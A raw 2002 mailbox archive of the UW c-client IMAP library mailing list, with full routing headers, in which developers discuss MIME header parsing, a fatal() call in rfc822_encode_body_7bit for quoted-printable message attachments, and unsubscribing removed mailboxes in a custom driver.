(ip212.161.99.147.advfn.com [212.161.99.147] (may be forged)) by noman.hosts.ision.net.uk (8.11.3/8.11.3) with ESMTP id g28LR9A18642 for ; Fri, 8 Mar 2002 21:27:09 GMT Received: by listserv.advfn.com (Postfix, from userid 642) id 9DC5B3409B; Fri, 8 Mar 2002 18:09:04 +0000 (GMT) To: xxxxxxxx@ndirect.co.uk From: ADVFN Newsdesk Content-Type: text/html Subject: ADVFN news bulletin Message-Id: <20020308180904.9DC5B3409B@listserv.advfn.com> Date: Fri, 8 Mar 2002 18:09:04 +0000 (GMT) Sponsored by ample.com., where you can buy your ISA online in 10 mins.

    RECOVERY HOPES SUPPORTED BY BETTER THAN EXPECTED US DATA

    UK technology shares remained firm in a sliding market by the
    close of trade, matching their Wall Street peers as recovery hopes were
    supported by better than expected US data and some upbeat comments from Intel
    and Sun overnight, dealers said.
    *************************************************************************** ************************* From pinedev@shivax2.cac.washington.edu Sat Mar 9 08:04:31 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 9 Mar 2002 08:04:31 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29G4UTM028470 for ; Sat, 9 Mar 2002 08:04:30 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Sat Mar 09 08:04:30 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g29G4UmT024243; Sat, 9 Mar 2002 08:04:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29Fw9Af013746; Sat, 9 Mar 2002 07:58:09 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29Fv7nJ125572 for ; Sat, 9 Mar 2002 07:57:07 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Sat Mar 09 07:57:07 2002 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g29Fv5Ie018301 for ; Sat, 9 Mar 2002 07:57:06 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.1/jtpda-5.4) with ESMTP id g29Fv4YD031431 for ; Sat, 9 Mar 2002 16:57:05 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g29Fv4j28014 for ; Sat, 9 Mar 2002 16:57:04 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id QAA26225 ; Sat, 9 Mar 2002 16:57:01 +0100 Message-Id: <200203091557.QAA26225@seth.lpthe.jussieu.fr> Date: Sat, 9 Mar 2002 16:57:01 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re: Mail header problem In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 9 Mar 2002 15:24:23 +0000 (GMT) Mark Elvers wrote: ME> I have the following message which c-client describes as TEXT/PLAIN, ME> CHARSET=US-ASCII. Am I correct to assume that this is because this ME> message header does not properly describe the HTML content or is there ME> some other problem. It does not have a "Mime-Version: x.x" tag. This is the problem - without this header c-client doesn't parse Content-Type at all (as it only makes sense for MIME-conforming messages which, by definition, do have Mime-Version). ME> I use pine 4.44 as my mail client and it treats this message as plain text ME> - rather than filtering it, as it normally does with HTML messages. ME> Outlook Express 6 seems to 'detect' the HTML content. The problem is not in Pine, the mailer which produced this message is totally broken. Regards, VZ From pinedev@shivax2.cac.washington.edu Sat Mar 9 08:54:26 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 9 Mar 2002 08:54:26 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29GsPTM029873 for ; Sat, 9 Mar 2002 08:54:25 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Sat Mar 09 08:54:25 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g29GsOPs017331; Sat, 9 Mar 2002 08:54:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29GqkkG019662; Sat, 9 Mar 2002 08:52:46 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29GoinJ179098 for ; Sat, 9 Mar 2002 08:50:44 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Sat Mar 09 08:50:44 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g29Gohc6031015 for ; Sat, 9 Mar 2002 08:50:43 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id IAA10268; Sat, 9 Mar 2002 08:50:06 -0800 (PST) Message-Id: Date: Sat, 9 Mar 2002 08:48:46 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re: Mail header problem In-Reply-To: <200203091557.QAA26225@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 9 Mar 2002 16:57:01 +0100 (CET), Vadim Zeitlin wrote: > This is the problem - without this header c-client doesn't parse > Content-Type at all (as it only makes sense for MIME-conforming messages > which, by definition, do have Mime-Version). Right. Content-Type: without a MIME-Version: indicates messages which comply to an older standard which c-client doesn't support. "TEXT/HTML" was not valid in that older standard either. From pinedev@shivax2.cac.washington.edu Mon Mar 11 07:21:22 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Mar 2002 07:21:22 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BFLMTM026701 for ; Mon, 11 Mar 2002 07:21:22 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Mar 11 07:21:21 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BFLKmT026040; Mon, 11 Mar 2002 07:21:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BFJjEr018838; Mon, 11 Mar 2002 07:19:45 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BFGXnJ084660 for ; Mon, 11 Mar 2002 07:16:33 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Mar 11 07:16:32 2002 -0800 Received: from tripie.tripie (bp.vol.cz [195.250.128.37]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BFGUZB027064 for ; Mon, 11 Mar 2002 07:16:31 -0800 Received: (from trip@localhost) by tripie.tripie (8.11.6/8.11.6) id g2BFGf804744 for c-client@u.washington.edu; Mon, 11 Mar 2002 16:16:41 +0100 Message-Id: <20020311151640.GA2857@tripie> Date: Mon, 11 Mar 2002 16:16:40 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tomas Styblo To: c-client@u.washington.edu Subject: Re: characters in quoted strings In-Reply-To: References: <20020308114028.GA14012@tripie> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Disposition: inline X-Authentication-Warning: tripie.tripie: trip set sender to tomas.styblo@jet2web.cz using -f X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks for the explanation. I understand and agree with your opinion. > There is another obvious solution: don't run Courier IMAP, use some other > IMAP server. I am not in a position to be able to make such a decision, unfortunately. Courier works quite well over NFS for us and noone is going to take the work and possible risks associated with conversion of millions of mailboxes to another format and another server. -- Tomas Styblo Programmer Czech On Line, a.s. U nakladoveho nadrazi 8, 130 00 Praha 3, Czech Republic From pinedev@shivax2.cac.washington.edu Mon Mar 11 07:23:45 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Mar 2002 07:23:45 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BFNjTM026920 for ; Mon, 11 Mar 2002 07:23:45 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Mar 11 07:23:43 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BFNhPs020825; Mon, 11 Mar 2002 07:23:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BFMEKT023172; Mon, 11 Mar 2002 07:22:14 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BFLfnJ139912 for ; Mon, 11 Mar 2002 07:21:41 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Mar 11 07:21:40 2002 -0800 Received: from tripie.tripie (bp.vol.cz [195.250.128.37]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BFLcc6005462 for ; Mon, 11 Mar 2002 07:21:39 -0800 Received: (from trip@localhost) by tripie.tripie (8.11.6/8.11.6) id g2BFLnA04958 for c-client@u.washington.edu; Mon, 11 Mar 2002 16:21:49 +0100 Message-Id: <20020311152149.GB2857@tripie> Date: Mon, 11 Mar 2002 16:21:49 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tomas Styblo To: c-client@u.washington.edu Subject: rfc822_encode_body_7bit() problem Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Disposition: inline X-Authentication-Warning: tripie.tripie: trip set sender to tomas.styblo@jet2web.cz using -f X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. I found that rfc822_encode_body_7bit() in rfc822.c calls fatal() when it encounters a message/* attachment. This leads to coredumps on our Apache/PHP server. We encode these attachments to quoted-printable encoding. Relevant section of the function's code is: case TYPEMESSAGE: /* encapsulated message */ switch (body->encoding) { case ENC7BIT: break; case ENC8BIT: MM_LOG ("8-bit included message in 7-bit message body",WARN); break; case ENCBINARY: MM_LOG ("Binary included message in 7-bit message body",WARN); break; default: fatal ("Invalid rfc822_encode_body_7bit message encoding"); } -- Tomas Styblo Programmer Czech On Line, a.s. U nakladoveho nadrazi 8, 130 00 Praha 3, Czech Republic -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 11 08:52:07 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Mar 2002 08:52:06 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BGq6TM005055 for ; Mon, 11 Mar 2002 08:52:06 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Mar 11 08:52:05 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BGq4mT031115; Mon, 11 Mar 2002 08:52:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BGnKEr037836; Mon, 11 Mar 2002 08:49:21 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BGlfnJ160178 for ; Mon, 11 Mar 2002 08:47:41 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Mar 11 08:47:40 2002 -0800 Received: from hal-5.inet.it (hal-5.inet.it [213.92.5.24]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BGldIe001274 for ; Mon, 11 Mar 2002 08:47:39 -0800 Received: (from root@localhost) by hal-5.inet.it (8.11.1/8.11.1) id g2BGlc8346868 for ; Mon, 11 Mar 2002 17:47:38 +0100 Received: from mgm.inet.it(213.92.1.175) by hal-5.inet.it via I-SMTP-4.0.5-100 id s-213.92.1.175-HndnfV; Mon Mar 11 17:47:37 2002 Message-Id: <07e201c1c91c$35e34a80$af015cd5@MM1> Date: Mon, 11 Mar 2002 17:45:54 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Matteo Gelosa" To: Subject: unsubscribe a removed mailbox? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Should it be possibile to unsubscribe a removed mailbox? I didn't find anything against this in the IMAP RFC, but while implementing my own driver for the UofW server I noticed that the mail layer calls a mailbox validation function of the underlaying driver before unsubscribing and, in my implementation, this fails if the folder does not exist. Where am I wrong? Thanks, Matteo Gelosa -- Matteo Gelosa I.NET S.p.A. Research & Development Via Darwin, 85 - 20019 Settimo Milanese MI mailto:m.gelosa@inet.it Tel. +39.02.32863.1 http://www.inet.it Fax +39.02.32863.7701 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 11 11:03:18 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Mar 2002 11:03:18 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BJ3ITM024215 for ; Mon, 11 Mar 2002 11:03:18 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Mar 11 11:03:18 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BJ3HPs003087; Mon, 11 Mar 2002 11:03:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BJ0WAf013610; Mon, 11 Mar 2002 11:00:32 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BIx9nJ041678 for ; Mon, 11 Mar 2002 10:59:09 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Mar 11 10:59:08 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BIx7re002450 for ; Mon, 11 Mar 2002 10:59:08 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA12999; Mon, 11 Mar 2002 10:59:01 -0800 (PST) Message-Id: Date: Mon, 11 Mar 2002 10:56:24 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tomas Styblo Cc: c-client@u.washington.edu Subject: re: rfc822_encode_body_7bit() problem In-Reply-To: <20020311152149.GB2857@tripie> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 11 Mar 2002 16:21:49 +0100, Tomas Styblo wrote: > I found that rfc822_encode_body_7bit() in rfc822.c calls fatal() when it > encounters a message/* attachment. This leads to coredumps on our > Apache/PHP server. We encode these attachments to quoted-printable encoding. That only happens when sending (not reading) a message. Neither BASE64 or QUOTED-PRINTABLE are not valid encodings for MESSAGE or MULTIPART MIME types, and c-client rightly objects to being told to create such a message. In other words, it's a bug in your code. You can't use QUOTED-PRINTABLE. From pinedev@shivax2.cac.washington.edu Mon Mar 11 11:10:29 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Mar 2002 11:10:29 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BJATTM024567 for ; Mon, 11 Mar 2002 11:10:29 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Mar 11 11:10:29 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BJASPs003327; Mon, 11 Mar 2002 11:10:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BJ8wEr025128; Mon, 11 Mar 2002 11:08:59 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BJ7pnJ044634 for ; Mon, 11 Mar 2002 11:07:51 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Mar 11 11:07:50 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BJ7nre005219 for ; Mon, 11 Mar 2002 11:07:49 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id LAA13025; Mon, 11 Mar 2002 11:07:44 -0800 (PST) Message-Id: Date: Mon, 11 Mar 2002 11:01:01 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matteo Gelosa Cc: c-client@u.washington.edu Subject: re: unsubscribe a removed mailbox? In-Reply-To: <07e201c1c91c$35e34a80$af015cd5@MM1> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 11 Mar 2002 17:45:54 +0100, Matteo Gelosa wrote: > Should it be possibile to unsubscribe a removed mailbox? I didn't find > anything against this in the IMAP RFC, but while implementing my own driver > for the UofW server I noticed that the mail layer calls a mailbox validation > function of the underlaying driver before unsubscribing and, > in my implementation, this fails if the folder does not exist. This is only an issue if your driver has its own subscription mechanism instead of using the c-client subscription manager. The standard drivers either use the subscription manager (most names), the .newsrc file (for NNTP or #news. names), or they pass the task on to an IMAP server (for IMAP names). In all of these cases, c-client knows which subscription facility owns the name; if it isn't IMAP, NNTP, or a #news. name, then it goes to the subscription manager. If your driver creates its own subscription mechanism, then you should have some named-based way of identifying that the driver owns that mailbox, otherwise you may be subject to the default actions of the dummy driver as well as subscription manager issues. And yes, I think that it should be possible to unsubscribe a removed mailbox. That's why UW imapd allows it. From pinedev@shivax2.cac.washington.edu Mon Mar 11 12:20:25 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Mar 2002 12:20:25 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BKKPTM028468 for ; Mon, 11 Mar 2002 12:20:25 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Mar 11 12:20:24 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BKKOPs006298; Mon, 11 Mar 2002 12:20:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BKIVKT018568; Mon, 11 Mar 2002 12:18:31 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BKGsnJ061196 for ; Mon, 11 Mar 2002 12:16:54 -0800 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Mar 11 12:16:53 2002 -0800 Received: from hal-5.inet.it (hal-5.inet.it [213.92.5.24]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BKGpZB002527 for ; Mon, 11 Mar 2002 12:16:52 -0800 Received: (from root@localhost) by hal-5.inet.it (8.11.1/8.11.1) id g2BKGnV318854; Mon, 11 Mar 2002 21:16:49 +0100 Received: from mgm.inet.it(213.92.1.175) by hal-5.inet.it via I-SMTP-4.0.5-100 id s-213.92.1.175-aQK0I5; Mon Mar 11 21:16:49 2002 Message-Id: <095701c1c939$6ee513f0$af015cd5@MM1> Date: Mon, 11 Mar 2002 21:15:04 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Matteo Gelosa" To: "Mark Crispin" Cc: Subject: Re: unsubscribe a removed mailbox? References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks for your answer. Anyway there's still an open point. Please, correct me if I'm wrong. The driver routine _valid is called both to allow unsubscription and rename. For the rename function the _valid must answer NIL on the new name (i.e. the new mailbox must not exist). So if the function says YES to validate an unsubscription (and the mailbox does not exist) it says YES also on the renaming (for the new name) and the rename fails. The opposite will make the unsubscription to fail. I think it should be legal to rename an existing mailbox to a not existing one, even though still subscribed, but this could be my wrong point. The version of the server I'm using is imap2001a. Maybe I have not clear the meaning of the _valid function, I understood it must say yes if the mailbox exists, no otherwise. Thanks in advance, Matteo -- Matteo Gelosa I.NET S.p.A. Research & Development Via Darwin, 85 - 20019 Settimo Milanese MI mailto:m.gelosa@inet.it Tel. +39.02.32863.1 http://www.inet.it Fax +39.02.32863.7701 ----- Original Message ----- From: "Mark Crispin" To: "Matteo Gelosa" Cc: Sent: Monday, March 11, 2002 8:01 PM Subject: re: unsubscribe a removed mailbox? > On Mon, 11 Mar 2002 17:45:54 +0100, Matteo Gelosa wrote: > > Should it be possibile to unsubscribe a removed mailbox? I didn't find > > anything against this in the IMAP RFC, but while implementing my own driver > > for the UofW server I noticed that the mail layer calls a mailbox validation > > function of the underlaying driver before unsubscribing and, > > in my implementation, this fails if the folder does not exist. > > This is only an issue if your driver has its own subscription mechanism > instead of using the c-client subscription manager. The standard drivers > either use the subscription manager (most names), the .newsrc file (for NNTP > or #news. names), or they pass the task on to an IMAP server (for IMAP names). > In all of these cases, c-client knows which subscription facility owns the > name; if it isn't IMAP, NNTP, or a #news. name, then it goes to the > subscription manager. > > If your driver creates its own subscription mechanism, then you should have > some named-based way of identifying that the driver owns that mailbox, > otherwise you may be subject to the default actions of the dummy driver as > well as subscription manager issues. > > And yes, I think that it should be possible to unsubscribe a removed mailbox. > That's why UW imapd allows it. > > > From pinedev@shivax2.cac.washington.edu Mon Mar 11 13:06:17 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Mar 2002 13:06:17 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BL6HTM030286 for ; Mon, 11 Mar 2002 13:06:17 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Mar 11 13:06:16 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BL6FmT012860; Mon, 11 Mar 2002 13:06:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BL4JkG026646; Mon, 11 Mar 2002 13:04:20 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2BL2tnJ026768 for ; Mon, 11 Mar 2002 13:02:55 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Mar 11 13:02:54 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2BL2sre006659 for ; Mon, 11 Mar 2002 13:02:54 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id NAA13116; Mon, 11 Mar 2002 13:02:50 -0800 (PST) Message-Id: Date: Mon, 11 Mar 2002 12:58:20 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matteo Gelosa Cc: c-client@u.washington.edu Subject: Re: unsubscribe a removed mailbox? In-Reply-To: <095701c1c939$6ee513f0$af015cd5@MM1> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I guess that you have encountered a problem. Nobody before has tried to use a local driver which doesn't use the subscription manager and has rename. The only local driver which doesn't use the subscription manager is the news driver (for a local filesystem news spool) which doesn't have rename. And news has its own subscription mechanism for legacy purposes. Why aren't you using the subscription manager (in other words, not have subscription/unsubscription/lsub methods)? That would seem to make your task much easier. From pinedev@shivax2.cac.washington.edu Tue Mar 12 01:04:07 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Mar 2002 01:04:06 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2C946TM021052 for ; Tue, 12 Mar 2002 01:04:06 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Mar 12 01:04:06 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu 